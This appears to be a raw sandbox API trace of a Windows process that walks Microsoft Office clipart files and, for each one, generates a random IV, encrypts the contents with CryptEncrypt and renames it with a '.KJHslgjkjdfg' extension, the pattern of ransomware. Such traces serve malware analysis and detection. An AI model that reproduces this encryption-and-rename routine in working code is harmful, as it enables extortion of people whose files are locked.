[0192.054] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.054] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.054] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.055] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.055] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.055] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.055] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf7e, lpOverlapped=0x0) returned 1 [0192.055] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80, dwBufLen=0xf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80) returned 1 [0192.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.056] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf80, lpOverlapped=0x0) returned 1 [0192.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.056] SetEndOfFile (hFile=0x130) returned 1 [0192.058] GetProcessHeap () returned 0x2ef0000 [0192.058] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.058] GetProcessHeap () returned 0x2ef0000 [0192.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.kjhslgjkjdfg")) returned 1 [0192.063] CloseHandle (hObject=0x130) returned 1 [0192.063] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0192.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.063] GetProcessHeap () returned 0x2ef0000 [0192.063] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.063] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.064] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0192.066] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.066] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.066] GetProcessHeap () returned 0x2ef0000 [0192.066] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.066] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.066] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.066] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.066] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.066] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.067] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.067] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd32, lpOverlapped=0x0) returned 1 [0192.067] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd40, dwBufLen=0xd40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd40) returned 1 [0192.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.067] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd40, lpOverlapped=0x0) returned 1 [0192.067] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.068] SetEndOfFile (hFile=0x130) returned 1 [0192.070] GetProcessHeap () returned 0x2ef0000 [0192.070] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.070] GetProcessHeap () returned 0x2ef0000 [0192.070] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.kjhslgjkjdfg")) returned 1 [0192.074] CloseHandle (hObject=0x130) returned 1 [0192.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0192.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.076] GetProcessHeap () returned 0x2ef0000 [0192.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.076] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.076] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.076] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.076] GetProcessHeap () returned 0x2ef0000 [0192.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.076] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.077] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.079] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.079] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc30, lpOverlapped=0x0) returned 1 [0192.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc30, dwBufLen=0xc30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc30) returned 1 [0192.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.080] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc30, lpOverlapped=0x0) returned 1 [0192.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.080] SetEndOfFile (hFile=0x130) returned 1 [0192.082] GetProcessHeap () returned 0x2ef0000 [0192.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.082] GetProcessHeap () returned 0x2ef0000 [0192.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.kjhslgjkjdfg")) returned 1 [0192.087] CloseHandle (hObject=0x130) returned 1 [0192.087] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0192.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.088] GetProcessHeap () returned 0x2ef0000 [0192.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.088] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0192.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.095] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.095] GetProcessHeap () returned 0x2ef0000 [0192.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.096] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.097] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.097] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbd2, lpOverlapped=0x0) returned 1 [0192.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0) returned 1 [0192.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.097] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbe0, lpOverlapped=0x0) returned 1 [0192.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.097] SetEndOfFile (hFile=0x130) returned 1 [0192.100] GetProcessHeap () returned 0x2ef0000 [0192.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.100] GetProcessHeap () returned 0x2ef0000 [0192.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.kjhslgjkjdfg")) returned 1 [0192.107] CloseHandle (hObject=0x130) returned 1 [0192.107] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0192.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.108] GetProcessHeap () returned 0x2ef0000 [0192.108] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.108] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.108] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0192.111] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.111] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.111] GetProcessHeap () returned 0x2ef0000 [0192.111] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.111] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.111] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.111] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, 